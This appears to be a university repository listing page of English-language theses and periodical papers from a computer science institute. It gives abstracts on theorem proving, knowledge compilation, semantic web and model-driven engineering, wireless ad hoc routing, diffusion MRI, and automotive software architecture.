text:
Year of publication
Document Type
- Part of Periodical (36)
- Doctoral Thesis (20)
- Master's Thesis (8)
- Diploma Thesis (4)
- Study Thesis (4)
- Bachelor Thesis (2)
- English (74) (remove)
- Bluetooth (4)
- Software Engineering (4)
- Knowledge Compilation (3)
- Semantic Web (3)
- Campus Information System (2)
- E-KRHyper (2)
- Equality (2)
- Modellgetriebene Entwicklung (2)
- Petri-Netze (2)
- Theorem Proving (2)
- Institut für Informatik (74) (remove)
Computer-based simulation of vegetation - Development of a general grassland distribution model for an application in New Zealand (2008)
Generalized methods for automated theorem proving can be used to compute formula transformations such as projection elimination and knowledge compilation. We present a framework based on clausal tableaux suited for such tasks. These tableaux are characterized independently of particular construction methods, but important features of empirically successful methods are taken into account, especially dependency directed backjumping and branch local operation. As an instance of that framework an adaption of DPLL is described. We show that knowledge compilation methods can be essentially improved by weaving projection elimination partially into the compilation phase.
Bridging Technological Spaces: Towards the Combination of Model-Driven Engineering and Ontology Technologies (2011)
Model-Driven Engineering (MDE) aims to raise the level of abstraction in software system specifications and increase automation in software development. Modelware technological spaces contain the languages and tools for MDE that software developers take into consideration to model systems and domains. Ontoware technological spaces contain ontology languages and technologies to design, query, and reason on knowledge. With the advent of the Semantic Web, ontologies are now being used within the field of software development, as well. In this thesis, bridging technologies are developed to combine two technological spaces in general. Transformation bridges translate models between spaces, mapping bridges relate different models between two spaces, and, integration bridges merge spaces to new all-embracing technological spaces. API bridges establish interoperability between the tools used in the space. In particular, this thesis focuses on the combination of modelware and ontoware technological spaces. Subsequent to a sound comparison of languages and tools in both spaces, the integration bridge is used to build a common technological space, which allows for the hybrid use of languages and the interoperable use of tools. The new space allows for language and domain engineering. Ontology-based software languages may be designed in the new space where syntax and formal semantics are defined with the support of ontology languages, and the correctness of language models is ensured by the use of ontology reasoning technologies. These languages represent a core means for exploiting expressive ontology reasoning in the software modeling domain, while remaining flexible enough to accommodate varying needs of software modelers. Application domains are conceptually described by languages that allow for defining domain instances and types within one domain model. Integrated ontology languages may provide formal semantics for domain-specific languages and ontology technologies allow for reasoning over types and instances in domain models. A scenario in which configurations for network device families are modeled illustrates the approaches discussed in this thesis. Furthermore, the implementation of all bridging technologies for the combination of technological spaces and all tools for ontology-based language engineering and use is illustrated.
Towards Improving the Understanding of Image Semantics by Gaze-based Tag-to-Region Assignments (2011)
Eye-trackers have been used in the past to identify visual foci in images, find task-related image regions, or localize affective regions in images. However, they have not been used for identifying specific objects in images. In this paper, we investigate whether it is possible to assign image regions showing specific objects with tags describing these objects by analyzing the users' gaze paths. To this end, we have conducted an experiment with 20 subjects viewing 50 image-tag-pairs each. We have compared the tag-to-region assignments for nine existing and four new fixation measures. In addition, we have investigated the impact of extending region boundaries, weighting small image regions, and the number of subjects viewing the images. The paper shows that a tag-to-region assignment with an accuracy of 67% can be achieved by using gaze information. In addition, we show that multiple regions on the same image can be differentiated with an accuracy of 38%.
An adaptive Software and System Architecture for Driver Assistance Systems applied to truck and trailer combinations (2015)
Traditional Driver Assistance Systems (DAS) like for example Lane Departure Warning Systems or the well-known Electronic Stability Program have in common that their system and software architecture is static. This means that neither the number and topology of Electronic Control Units (ECUs) nor the presence and functionality of software modules changes after the vehicles leave the factory. However, some future DAS do face changes at runtime. This is true for example for truck and trailer DAS as their hardware components and software entities are spread over both parts of the combination. These new requirements cannot be faced by state-of-the-art approaches of automotive software systems. Instead, a different technique of designing such Distributed Driver Assistance Systems (DDAS) needs to be developed. The main contribution of this thesis is the development of a novel software and system architecture for dynamically changing DAS using the example of driving assistance for truck and trailer. This architecture has to be able to autonomously detect and handle changes within the topology. In order to do so, the system decides which degree of assistance and which types of HMI can be offered every time a trailer is connected or disconnected. Therefore an analysis of the available software and hardware components as well as a determination of possible assistance functionality and a re-configuration of the system take place. Such adaptation can be granted by the principles of Service-oriented Architecture (SOA). In this architectural style all functionality is encapsulated in self-contained units, so-called Services. These Services offer the functionality through well-defined interfaces whose behavior is described in contracts. Using these Services, large-scale applications can be built and adapted at runtime. This thesis describes the research conducted in achieving the goals described by introducing Service-oriented Architectures into the automotive domain. SOA deals with the high degree of distribution, the demand for re-usability and the heterogeneity of the needed components. It also applies automatic re-configuration in the event of a system change. Instead of adapting one of the frameworks available to this scenario, the main principles of Service-orientation are picked up and tailored. This leads to the development of the Service-oriented Driver Assistance (SODA) framework, which implements the benefits of Service-orientation while ensuring compatibility and compliance to automotive requirements, best-practices and standards. Within this thesis several state-of-the-art Service-oriented frameworks are analyzed and compared. Furthermore, the SODA framework as well as all its different aspects regarding the automotive software domain are described in detail. These aspects include a well-defined reference model that introduces and relates terms and concepts and defines an architectural blueprint. Furthermore, some of the modules of this blueprint such as the re-configuration module and the Communication Model are presented in full detail. In order to prove the compliance of the framework regarding state-of-the-art automotive software systems, a development process respecting today's best practices in automotive design procedures as well as the integration of SODA into the AUTOSAR standard are discussed. Finally, the SODA framework is used to build a full-scale demonstrator in order to evaluate its performance and efficiency.
The term "Software Chrestomaty" is defined as a collection of software systems meant to be useful in learning about or gaining insight into software languages, software technologies, software concepts, programming, and software engineering. 101companies software chrestomathy is a community project with the attributes of a Research 2.0 infrastructure for various stakeholders in software languages and technology communities. The core of 101companies combines a semantic wiki and confederated open source repositories. We designed and developed an integrated ontology-based knowledge base about software languages and technologies. The knowledge is created by the community of contributors and supported with a running example and structured documentation. The complete ecosystem is exposed by using Linked Data principles and equipped with the additional metadata about individual artifacts. Within the context of software chrestomathy we explored a new type of software architecture – linguistic architecture that is targeted on the language and technology relationships within a software product and based on the megamodels. Our approach to documentation of the software systems is highly structured and makes use of the concepts of the newly developed megamodeling language MegaL. We "connect" an emerging ontology with the megamodeling artifacts to raise the cognitive value of the linguistic architecture.
Initial goal of the current dissertation was the determination of image-based biomarkers sensitive for neurodegenerative processes in the human brain. One such process is the demyelination of neural cells characteristic for Multiple sclerosis (MS) - the most common neurological disease in young adults for which there is no cure yet. Conventional MRI techniques are very effective in localizing areas of brain tissue damage and are thus a reliable tool for the initial MS diagnosis. However, a mismatch between the clinical fndings and the visualized areas of damage is observed, which renders the use of the standard MRI diffcult for the objective disease monitoring and therapy evaluation. To address this problem, a novel algorithm for the fast mapping of myelin water content using standard multiecho gradient echo acquisitions of the human brain is developed in the current work. The method extents a previously published approach for the simultaneous measurement of brain T1, T∗ 2 and total water content. Employing the multiexponential T∗ 2 decay signal of myelinated tissue, myelin water content is measured based on the quantifcation of two water pools (myelin water and rest) with different relaxation times. Whole brain in vivo myelin water content maps are acquired in 10 healthy controls and one subject with MS. The in vivo results obtained are consistent with previous reports. The acquired quantitative data have a high potential in the context of MS. However, the parameters estimated in a multiparametric acquisition are correlated and constitute therefore an ill-posed, nontrivial data analysis problem. Motivated by this specific problem, a new data clustering approach is developed called Nuclear Potential Clustering, NPC. It is suitable for the explorative analysis of arbitrary dimensional and possibly correlated data without a priori assumptions about its structure. The developed algorithm is based on a concept adapted from nuclear physics. To partition the data, the dynamic behavior of electrically even charged nucleons interacting in a d-dimensional feature space is modeled. An adaptive nuclear potential, comprised of a short-range attractive (Strong interaction) and a long-range repulsive term (Coulomb potential), is assigned to each data point. Thus, nucleons that are densely distributed in space fuse to build nuclei (clusters), whereas single point clusters are repelled (noise). The algorithm is optimized and tested in an extensive study with a series of synthetic datasets as well as the Iris data. The results show that it can robustly identify clusters even when complex configurations and noise are present. Finally, to address the initial goal, quantitative MRI data of 42 patients are analyzed employing NPC. A series of experiments with different sets of image-based features show a consistent grouping tendency: younger patients with low disease grade are recognized as cohesive clusters, while those of higher age and impairment are recognized as outliers. This allows for the definition of a reference region in a feature space associated with phenotypic data. Tracking of the individual's positions therein can disclose patients at risk and be employed for therapy evaluation.
Geographic cluster based routing in ad-hoc wireless sensor networks is a current field of research. Various algorithms to route in wireless ad-hoc networks based on position information already exist. Among them algorithms that use the traditional beaconing approach as well as algorithms that work beaconless (no information about the environment is required besides the own position and the destination). Geographic cluster based routing with guaranteed message delivery can be carried out on overlay graphs as well. Until now the required planar overlay graphs are not being constructed reactively. This thesis proposes a reactive algorithm, the Beaconless Cluster Based Planarization (BCBP) algorithm, which constructs a planar overlay graph and noticeably reduces the number of messages required for that. Based on an algorithm for cluster based planarization it beaconlessly constructs a planar overlay graph in an unit disk graph (UDG). An UDG is a model for a wireless network in which every participant has the same sending radius. Evaluation of the algorithm shows it to be more efficient than the non beaconless variant. Another result of this thesis is the Beaconless LLRAP (BLLRAP) algorithm, for which planarity but not continued connectivity could be proven.
Der Apple ][ war einer der drei ersten kompletten Computersysteme auf dem Markt. Von April 1977 an wurde er rund 16 Jahre lang mehrere Millionen mal verkauft. Entwickelt wurde dieser 8 Bit Homecomputer von Steve Wozniak und Steve Jobs. Sie ebneten damit den Weg für den Macintosh und das heute gut bekannte Unternehmen Apple. Diese Arbeit beschreibt die Implementierung eines Softwareemulators für das komplette Apple ][ Computersystem auf nur einem Atmel AVR Microcontroller. Die größte Herausforderung besteht darin, dass der Microcontroller nur eine geringfügig höhere Taktrate als die zu emulierende Hardware hat. Dies erfordert eine effiziente Emulation der CPU und Speicherverwaltung, die nachfolgend zusammen mit der Laufzeitumgebung für die Emulation vorgestellt wird. Weiterhin wird die Umsetzung des Emulators mit Display und Tastatur in Hardware naher erläutert. Mit dieser Arbeit wird die erfolgreiche Entwicklung eines portablen Apple ][ Emulators, von der Software über die Hardware bis hin zu einem Prototypen, vorgestellt.
This thesis presents an analysis of API usage in a large corpus of Java software retrieved from the open source repositories hosted at SourceForge. Most larger software projects use software libraries, which offer a public "application programming interface" or API as an interface for the programmer. In order to facilitate the transition between different APIs, there are emerging research projects in the field of automated API migration. However, there is a lack of basic statistical background information about in-the-wild usage of APIs as such measurements have, until now, only been done on rather small corpora. We thus present an analysis method suitable for measurements with large corpora. First, we create a corpus of open source projects hosted on SourceForge, as well as a corpus of software libraries. Then, all projects in the corpus are compiled with an instrumented compiler. We use a compiler plugin for javac that gives detailed information about every method created by the compiler. This information is stored in a database and analyzed.
UML models and OWL ontologies constitute modeling approaches with different strength and weaknesses that make them appropriate for use of specifying different aspects of software systems. In particular, OWL ontologies are well suited to specify classes using an expressive logical language with highly flexible, dynamic and polymorphic class membership, while UML diagrams are much more suitable for specifying not only static models including classes and associations, but also dynamic behavior. Though MOF based metamodels and UML profiles for OWL have been proposed in the past, an integrated use of both modeling approaches in a coherent framework has been lacking so far. We present such a framework, TwoUse, for developing integrated models, comprising the benefits of UML models and OWL ontologies
This thesis analyzes the online attention towards scientists and their research topics. The studies compare the attention dynamics towards the winners of important scientific prizes with scientists who did not receive a prize. Web signals such as Wikipedia page views, Wikipedia edits, and Google Trends were used as a proxy for online attention. One study focused on the time between the creation of the article about a scientist and their research topics. It was discovered that articles about research topics were created closer to the articles of prize winners than to scientists who did not receive a prize. One possible explanation could be that the research topics are more closely related to the scientist who got an award. This supports that scientists who received the prize introduced the topics to the public. Another study considered the public attention trends towards the related research topics before and after a page of a scientist was created. It was observed that after a page about a scientist was created, research topics of prize winners received more attention than the topics of scientists who did not receive a prize. Furthermore, it was demonstrated that Nobel Prize winners get a lower amount of attention before receiving the prize than the potential nominees from the list of Citation Laureates of Thompson Reuters. Also, their popularity is going down faster after receiving it. It was also shown that it is difficult to predict the prize winners based on the attention dynamics towards them.
Querying for meta knowledge (2008)
The Semantic Web is based on accessing and reusing RDF data from many different sources, which one may assign different levels of authority and credibility. Existing Semantic Web query languages, like SPARQL, have targeted the retrieval, combination and reuse of facts, but have so far ignored all aspects of meta knowledge, such as origins, authorship, recency or certainty of data, to name but a few. In this paper, we present an original, generic, formalized and implemented approach for managing many dimensions of meta knowledge, like source, authorship, certainty and others. The approach re-uses existing RDF modeling possibilities in order to represent meta knowledge. Then, it extends SPARQL query processing in such a way that given a SPARQL query for data, one may request meta knowledge without modifying the query proper. Thus, our approach achieves highly flexible and automatically coordinated querying for data and meta knowledge, while completely separating the two areas of concern.
Knowledge compilation is a common technique for propositional logic knowledge bases. A given knowledge base is transformed into a normal form, for which queries can be answered efficiently. This precompilation step is expensive, but it only has to be performed once. We apply this technique to concepts defined in the Description Logic ALC. We introduce a normal form called linkless normal form for ALC concepts and discuss an efficient satisability test for concepts given in this normal form. Furthermore, we will show how to efficiently calculate uniform interpolants of precompiled concepts w.r.t. a given signature.
One of the main goals of the artificial intelligence community is to create machines able to reason with dynamically changing knowledge. To achieve this goal, a multitude of different problems have to be solved, of which many have been addressed in the various sub-disciplines of artificial intelligence, like automated reasoning and machine learning. The thesis at hand focuses on the automated reasoning aspects of these problems and address two of the problems which have to be overcome to reach the afore-mentioned goal, namely 1. the fact that reasoning in logical knowledge bases is intractable and 2. the fact that applying changes to formalized knowledge can easily introduce inconsistencies, which leads to unwanted results in most scenarios. To ease the intractability of logical reasoning, I suggest to adapt a technique called knowledge compilation, known from propositional logic, to description logic knowledge bases. The basic idea of this technique is to compile the given knowledge base into a normal form which allows to answer queries efficiently. This compilation step is very expensive but has to be performed only once and as soon as the result of this step is used to answer many queries, the expensive compilation step gets worthwhile. In the thesis at hand, I develop a normal form, called linkless normal form, suitable for knowledge compilation for description logic knowledge bases. From a computational point of view, the linkless normal form has very nice properties which are introduced in this thesis. For the second problem, I focus on changes occurring on the instance level of description logic knowledge bases. I introduce three change operators interesting for these knowledge bases, namely deletion and insertion of assertions as well as repair of inconsistent instance bases. These change operators are defined such that in all three cases, the resulting knowledge base is ensured to be consistent and changes performed to the knowledge base are minimal. This allows us to preserve as much of the original knowledge base as possible. Furthermore, I show how these changes can be applied by using a transformation of the knowledge base. For both issues I suggest to adapt techniques successfully used in other logics to get promising methods for description logic knowledge bases.
Software systems are often developed as a set of variants to meet diverse requirements. Two common approaches to this are "clone-and-owning" and software product lines. Both approaches have advantages and disadvantages. In previous work we and collaborators proposed an idea which combines both approaches to manage variants, similarities, and cloning by using a virtual platform and cloning-related operators. In this thesis, we present an approach for aggregating essential metadata to enable a propagate operator, which implements a form of change propagation. For this we have developed a system to annotate code similarities which were extracted throughout the history of a software repository. The annotations express similarity maintenance tasks, which can then either be executed automatically by propagate or have to be performed manually by the user. In this work we outline the automated metadata extraction process and the system for annotating similarities; we explain how the implemented system can be integrated into the workflow of an existing version control system (Git); and, finally, we present a case study using the 101haskell corpus of variants.
The publication of open source software aims to support the reuse, the distribution and the general utilization of software. This can only be enabled by the correct usage of open source software licenses. Therefore associations provide a multitude of open source software licenses with different features, of which a developer can choose, to regulate the interaction with his software. Those licenses are the core theme of this thesis. After an extensive literature research, two general research questions are elaborated in detail. First, a license usage analysis of licenses in the open source sector is applied, to identify current trends and statistics. This includes questions concerning the distribution of licenses, the consistency in their usage, their association over a period of time and their publication. Afterwards the recommendation of licenses for specific projects is investigated. Therefore, a recommendation logic is presented, which includes several influences on a suitable license choice, to generate an at most applicable recommendation. Besides the exact features of a license of which a user can choose, different methods of ranking the recommendation results are proposed. This is based on the examination of the current situation of open source licensing and license suggestion. Finally, the logic is evaluated on the exemplary use-case of the 101companies project.
The lack of a formal event model hinders interoperability in distributed event-based systems. Consequently, we present in this paper a formal model of events, called F. The model bases on an upper-level ontology and pro-vides comprehensive support for all aspects of events such as time and space, objects and persons involved, as well as the structural aspects, namely mereological, causal, and correlational relationships. The event model provides a flexible means for event composition, modeling of event causality and correlation, and allows for representing different interpretations of the same event. The foundational event model F is developed in a pattern-oriented approach, modularized in different ontologies, and can be easily extended by domain specifific ontologies.
The provision of electronic participation services (e-participation) is a complex socio-technical undertaking that needs comprehensive design and implementation strategies. E-participation service providers, in the most cases administrations and governments, struggle with changing requirements that demand more transparency, better connectivity and increased collaboration among different actors. At the same time, less staff are available. As a result, recent research assesses only a minority of e-participation services as successful. The challenge is that the e-participation domain lacks comprehensive approaches to design and implement (e-)participation services. Enterprise Architecture (EA) frameworks have evolved in information systems research as an approach to guide the development of complex socio-technical systems. This approach can guide the design and implementation services, if the collection of organisations with the commonly held goal to provide participation services is understood as an E Participation Enterprise (EE). However, research & practice in the e participation domain has not yet exploited EA frameworks. Consequently, the problem scope that motivates this dissertation is the existing gap in research to deploy EA frameworks in e participation design and implementation. The research question that drives this research is: What methodical and technical guides do architecture frameworks provide that can be used to design and implement better and successful e participation? This dissertation presents a literature study showing that existing approaches have not covered yet the challenges of comprehensive e participation design and implementation. Accordingly, the research moves on to investigate established EA frameworks such as the Zachman Framework, TOGAF, the DoDAF, the FEA, the ARIS, and the ArchiMate for their use. While the application of these frameworks in e participation design and implementation is possible, an integrated approach is lacking so far. The synthesis of literature review and practical insights in design and implementation of e participation services from four projects show the challenges of adapting architecture frameworks for this domain. However, the research shows also the potential of a combination of the different approaches. Consequently, the research moves on to develop the E-Participation Architecture Framework (EPART-Framework). Therefore, the dissertation applies design science research including literature review and action research. Two independent settings test an initial EPART-Framework version. The results yield into the EPART-Framework presented in this dissertation. The EPART-Framework comprises of the EPART-Metamodel with six EPART-Viewpoints, which frame the stakeholder concerns: the Participation Scope, the Participant Viewpoint, the Participation Viewpoint, the Data & Information Viewpoint, the E-participation Viewpoint, and Implementation & Governance Viewpoint. The EPART-Method supports the stakeholders to design the EE and implement e participation and stores its output in an architecture description and a solution repository. It consists of five consecutive phases accompanied by requirements management: Initiation, Design, Implementation and Preparation, Participation, and Evaluation. The EPART-Framework fills the gap between the e participation domain and the enterprise architecture framework domain. The evaluation gives reasonable evidence that the framework is a valuable addition in academia and in practice to improve e-participation design and implementation. The same time, it shows opportunities for future research to extend and advance the framework.
Networked RDF graphs (2007)
Networked graphs are defined in this paper as a small syntactic extension of named graphs in RDF. They allow for the definition of a graph by explicitly listing triples as well as by SPARQL queries on one or multiple other graphs. By this extension it becomes possible to define a graph including a view onto other graphs and to define the meaning of a set of graphs by the way they reference each other. The semantics of networked graphs is defined by their mapping into logic programs. The expressiveness and computational complexity of networked graphs, varying by the set of constraints imposed on the underlying SPARQL queries, is investigated. We demonstrate the capabilities of networked graphs by a simple use case.
The identification of experts for a specific technology or framework produces a large benefit for collaborative software projects. Hence it reduces the communication overhead that is required to identify an expert on the fly. Therefore this thesis describes a tool and approach that can be used to identify an expert that has a specific skill-set. It will mainly focus on the skills and expertise of developers that use the Django framework. By adding more rules to our framework that approach could easily be extended for different technologies or frameworks. The paper will close with a case study on an open source project.
Diffusion imaging captures the movement of water molecules in tissue by applying varying gradient fields in a magnetic resonance imaging (MRI)-based setting. It poses a crucial contribution to in vivo examinations of neuronal connections: The local diffusion profile enables inference of the position and orientation of fiber pathways. Diffusion imaging is a significant technique for fundamental neuroscience, in which pathways connecting cortical activation zones are examined, and for neurosurgical planning, where fiber reconstructions are considered as intervention related risk structures. Diffusion tensor imaging (DTI) is currently applied in clinical environments in order to model the MRI signal due to its fast acquisition and reconstruction time. However, the inability of DTI to model complex intra-voxel diffusion distributions gave rise to an advanced reconstruction scheme which is known as high angular resolution diffusion imaging (HARDI). HARDI received increasing interest in neuroscience due to its potential to provide a more accurate view of pathway configurations in the human brain. In order to fully exploit the advantages of HARDI over DTI, advanced fiber reconstructions and visualizations are required. This work presents novel approaches contributing to current research in the field of diffusion image processing and visualization. Diffusion classification, tractography, and visualizations approaches were designed to enable a meaningful exploration of neuronal connections as well as their constitution. Furthermore, an interactive neurosurgical planning tool with consideration of neuronal pathways was developed. The research results in this work provide an enhanced and task-related insight into neuronal connections for neuroscientists as well as neurosurgeons and contribute to the implementation of HARDI in clinical environments.
The processing of data is often restricted by contractual and legal requirements for protecting privacy and IPRs. Policies provide means to control how and by whom data is processed. Conditions of policies may depend on the previous processing of the data. However, existing policy languages do not provide means to express such conditions. In this work we present a formal model and language allowing for specifying conditions based on the history of data processing. We base the model and language on XACML.
Modern Internet and Intranet techniques, such as Web services and virtualization, facilitate the distributed processing of data providing improved flexibility. The gain in flexibility also incurs disadvantages. Integrated workflows forward and distribute data between departments and across organizations. The data may be affected by privacy laws, contracts, or intellectual property rights. Under such circumstances of flexible cooperations between organizations, accounting for the processing of data and restricting actions performed on the data may be legally and contractually required. In the Internet and Intranet, monitoring mechanisms provide means for observing and auditing the processing of data, while policy languages constitute a mechanism for specifying restrictions and obligations. In this thesis, we present our contributions to these fields by providing improvements for auditing and restricting the data processing in distributed environments. We define formal qualities of auditing methods used in distributed environments. Based on these qualities, we provide a novel monitoring solution supporting a data-centric view on the distributed data processing. We present a solution for provenance-aware policies and a formal specification of obligations offering a procedure to decide whether obligatory processing steps can be met in the future.
The high cost of routing infrastructure makes checking theories about larger nets a very difficult and expensive task. One possible approach to fight this problem is the use of virtual instead of physical infrastructure. OPNet- IT Guru software is a suite designed to simulate large nets and present relevant information. This allows validating extensive changes before actually implementing them on a productive network or testing theories without the overhead of a physical infrastructure.
The E-KRHyper system is a model generator and theorem prover for first-order logic with equality. It implements the new E-hyper tableau calculus, which integrates a superposition-based handling of equality into the hyper tableau calculus. E-KRHyper extends our previous KRHyper system, which has been used in a number of applications in the field of knowledge representation. In contrast to most first order theorem provers, it supports features important for such applications, for example queries with predicate extensions as answers, handling of large sets of uniformly structured input facts, arithmetic evaluation and stratified negation as failure. It is our goal to extend the range of application possibilities of KRHyper by adding equality reasoning.
This dissertation investigates the usage of theorem provers in automated question answering (QA). QA systems attempt to compute correct answers for questions phrased in a natural language. Commonly they utilize a multitude of methods from computational linguistics and knowledge representation to process the questions and to obtain the answers from extensive knowledge bases. These methods are often syntax-based, and they cannot derive implicit knowledge. Automated theorem provers (ATP) on the other hand can compute logical derivations with millions of inference steps. By integrating a prover into a QA system this reasoning strength could be harnessed to deduce new knowledge from the facts in the knowledge base and thereby improve the QA capabilities. This involves challenges in that the contrary approaches of QA and automated reasoning must be combined: QA methods normally aim for speed and robustness to obtain useful results even from incomplete of faulty data, whereas ATP systems employ logical calculi to derive unambiguous and rigorous proofs. The latter approach is difficult to reconcile with the quantity and the quality of the knowledge bases in QA. The dissertation describes modifications to ATP systems in order to overcome these obstacles. The central example is the theorem prover E-KRHyper which was developed by the author at the Universität Koblenz-Landau. As part of the research work for this dissertation E-KRHyper was embedded into a framework of components for natural language processing, information retrieval and knowledge representation, together forming the QA system LogAnswer. Also presented are additional extensions to the prover implementation and the underlying calculi which go beyond enhancing the reasoning strength of QA systems by giving access to external knowledge sources like web services. These allow the prover to fill gaps in the knowledge during the derivation, or to use external ontologies in other ways, for example for abductive reasoning. While the modifications and extensions detailed in the dissertation are a direct result of adapting an ATP system to QA, some of them can be useful for automated reasoning in general. Evaluation results from experiments and competition participations demonstrate the effectiveness of the methods under discussion.
In the recent years, Software Engineering research has shown the rise of interest in the empirical studies. Such studies are often based on empirical evidence derived from corpora - collections of software artifacts. While there are established forms of carrying out empirical research (experiments, case studies, surveys, etc.), the common task of preparing the underlying collection of software artifacts is typically addressed in ad hoc manner. In this thesis, by means of a literature survey we show how frequently software engineering research employs software corpora and using a developed classification scheme we discuss their characteristics. Addressing the lack of methodology, we suggest a method of corpus (re-)engineering and apply it to an existing collection of Java projects. We report two extensive empirical studies, where we perform a broad and diverse range of analyses on the language for privacy preferences (P3P) and on object-oriented application programming interfaces (APIs). In both cases, we are driven by the data at hand, by the corpus itself, discovering the actual usage of the languages.
The semantic web and model-driven engineering are changing the enterprise computing paradigm. By introducing technologies like ontologies, metadata and logic, the semantic web improves drastically how companies manage knowledge. In counterpart, model-driven engineering relies on the principle of using models to provide abstraction, enabling developers to concentrate on the system functionality rather than on technical platforms. The next enterprise computing era will rely on the synergy between both technologies. On the one side, ontology technologies organize system knowledge in conceptual domains according to its meaning. It addresses enterprise computing needs by identifying, abstracting and rationalizing commonalities, and checking for inconsistencies across system specifications. On the other side, model-driven engineering is closing the gap among business requirements, designs and executables by using domain-specific languages with custom-built syntax and semantics. In this scenario, the research question that arises is: What are the scientific and technical results around ontology technologies that can be used in model-driven engineering and vice versa? The objective is to analyze approaches available in the literature that involve both ontologies and model-driven engineering. Therefore, we conduct a literature review that resulted in a feature model for classifying state-of-the-art approaches. The results show that the usage of ontologies and model-driven engineering together have multiple purposes: validation, visual notation, expressiveness and interoperability. While approaches involving both paradigms exist, an integrated approach for UML class-based modeling and ontology modeling is lacking so far. Therefore, we investigate the techniques and languages for designing integrated models. The objective is to provide an approach to support the design of integrated solutions. Thus, we develop a conceptual framework involving the structure and the notations of a solution to represent and query software artifacts using a combination of ontologies and class-based modeling. As proof of concept, we have implemented our approach as a set of open source plug-ins -- the TwoUse Toolkit. The hypothesis is that a combination of both paradigms yields improvements in both fields, ontology engineering and model-driven engineering. For MDE, we investigate the impact of using features of the Web Ontology Language in software modeling. The results are patterns and guidelines for designing ontology-based information systems and for supporting software engineers in modeling software. The results include alternative ways of describing classes and objects and querying software models and metamodels. Applications show improvements on changeability and extensibility. In the ontology engineering domain, we investigate the application of techniques used in model-driven engineering to fill the abstraction gap between ontology specification languages and programming languages. The objective is to provide a model-driven platform for supporting activities in the ontology engineering life cycle. Therefore, we study the development of core ontologies in our department, namely the core ontology for multimedia (COMM) and the multimedia metadata ontology. The results are domain-specific languages that allow ontology engineers to abstract from implementation issues and concentrate on the ontology engineering task. It results in increasing productivity by filling the gap between domain models and source code.
Silence is golden: reactive local topology control and geographic routing in wireless ad hoc and sensor networks (2016)
Reactive local algorithms are distributed algorithms which suit the needs of battery-powered, large-scale wireless ad hoc and sensor networks particularly well. By avoiding both unnecessary wireless transmissions and proactive maintenance of neighborhood tables (i.e., beaconing), such algorithms minimize communication load and overhead, and scale well with increasing network size. This way, resources such as bandwidth and energy are saved, and the probability of message collisions is reduced, which leads to an increase in the packet reception ratio and a decrease of latencies. Currently, the two main application areas of this algorithm type are geographic routing and topology control, in particular the construction of a node's adjacency in a connected, planar representation of the network graph. Geographic routing enables wireless multi-hop communication in the absence of any network infrastructure, based on geographic node positions. The construction of planar topologies is a requirement for efficient, local solutions for a variety of algorithmic problems. This thesis contributes to reactive algorithm research in two ways, on an abstract level, as well as by the introduction of novel algorithms: For the very first time, reactive algorithms are considered as a whole and as an individual research area. A comprehensive survey of the literature is given which lists and classifies known algorithms, techniques, and application domains. Moreover, the mathematical concept of O- and Omega-reactive local topology control is introduced. This concept unambiguously distinguishes reactive from conventional, beacon-based, topology control algorithms, serves as a taxonomy for existing and prospective algorithms of this kind, and facilitates in-depth investigations of the principal power of the reactive approach, beyond analysis of concrete algorithms. Novel reactive local topology control and geographic routing algorithms are introduced under both the unit disk and quasi unit disk graph model. These algorithms compute a node's local view on connected, planar, constant stretch Euclidean and topological spanners of the underlying network graph and route messages reactively on these spanners while guaranteeing the messages' delivery. All previously known algorithms are either not reactive, or do not provide constant Euclidean and topological stretch properties. A particularly important partial result of this work is that the partial Delaunay triangulation (PDT) is a constant stretch Euclidean spanner for the unit disk graph. To conclude, this thesis provides a basis for structured and substantial research in this field and shows the reactive approach to be a powerful tool for algorithm design in wireless ad hoc and sensor networking.
Web 2.0 provides technologies for online collaboration of users as well as the creation, publication and sharing of user-generated contents in an interactive way. Twitter, CNET, CiteSeerX, etc. are examples of Web 2.0 platforms which facilitate users in these activities and are viewed as rich sources of information. In the platforms mentioned as examples, users can participate in discussions, comment others, provide feedback on various issues, publish articles and write blogs, thereby producing a high volume of unstructured data which at the same time leads to an information overload. To satisfy various types of human information needs arising from the purpose and nature of the platforms requires methods for appropriate aggregation and automatic analysis of this unstructured data. In this thesis, we propose methods which attempt to overcome the problem of information overload and help in satisfying user information needs in three scenarios. To this end, first we look at two of the main challenges of sparsity and content quality in Twitter and how these challenges can influence standard retrieval models. We analyze and identify Twitter content features that reflect high quality information. Based on this analysis we introduce the concept of "interestingness" as a static quality measure. We empirically show that our proposed measure helps in retrieving and filtering high quality information in Twitter. Our second contribution relates to the content diversification problem in a collaborative social environment, where the motive of the end user is to gain a comprehensive overview of the pros and cons of a discussion track which results from social collaboration of the people. For this purpose, we develop the FREuD approach which aims at solving the content diversification problem by combining latent semantic analysis with sentiment estimation approaches. Our evaluation results show that the FREuD approach provides a representative overview of sub-topics and aspects of discussions, characteristic user sentiments under different aspects, and reasons expressed by different opponents. Our third contribution presents a novel probabilistic Author-Topic-Time model, which aims at mining topical trends and user interests from social media. Our approach solves this problem by means of Bayesian modeling of relations between authors, latent topics and temporal information. We present results of application of the model to the scientific publication datasets from CiteSeerX showing improved semantically cohesive topic detection and capturing shifts in authors" interest in relation to topic evolution.
Improvements to the RMTI network routing daemon implementation and preparation of a public release (2011)
Routing with Metric based Topology Investigation (RMTI) is an algorithm meant to extend distance-vector routing protocols. It is under research and development at the University of Koblenz-Landau since 1999 and currently implemented on top of the well-known Routing Information Protocol (RIP). Around midyear 2009, the latest implementation of RMTI included a lot of deprecated functionality. Because of this, the first goal of this thesis was the reduction of the codebase to a minimum. Beside a lot of reorganization and a general cleanup, this mainly involved the removal of some no longer needed modes as well as the separation of the formerly mandatory XTPeer test environment. During the second part, many test series were carried out in order to ensure the correctness of the latest RMTI implementation. A replacement for XTPeer was needed and several new ways of testing were explored. In conjunction with this thesis, the RMTI source code was finally released to the public under a free software license.
Hybrid systems are the result of merging the two most commonly used models for dynamical systems, namely continuous dynamical systems defined by differential equations and discrete-event systems defined by automata. One can view hybrid systems as constrained systems, where the constraints describe the possible process flows, invariants within states, and transitions on the one hand, and to characterize certain parts of the state space (e.g. the set of initial states, or the set of unsafe states) on the other hand. Therefore, it is advantageous to use constraint logic programming (CLP) as an approach to model hybrid systems. In this paper, we provide CLP implementations, that model hybrid systems comprising several concurrent hybrid automata, whose size is only straight proportional to the size of the given system description. Furthermore, we allow different levels of abstraction by making use of hierarchies as in UML statecharts. In consequence, the CLP model can be used for analyzing and testing the absence or existence of (un)wanted behaviors in hybrid systems. Thus in summary, we get a procedure for the formal verification of hybrid systems by model checking, employing logic programming with constraints.
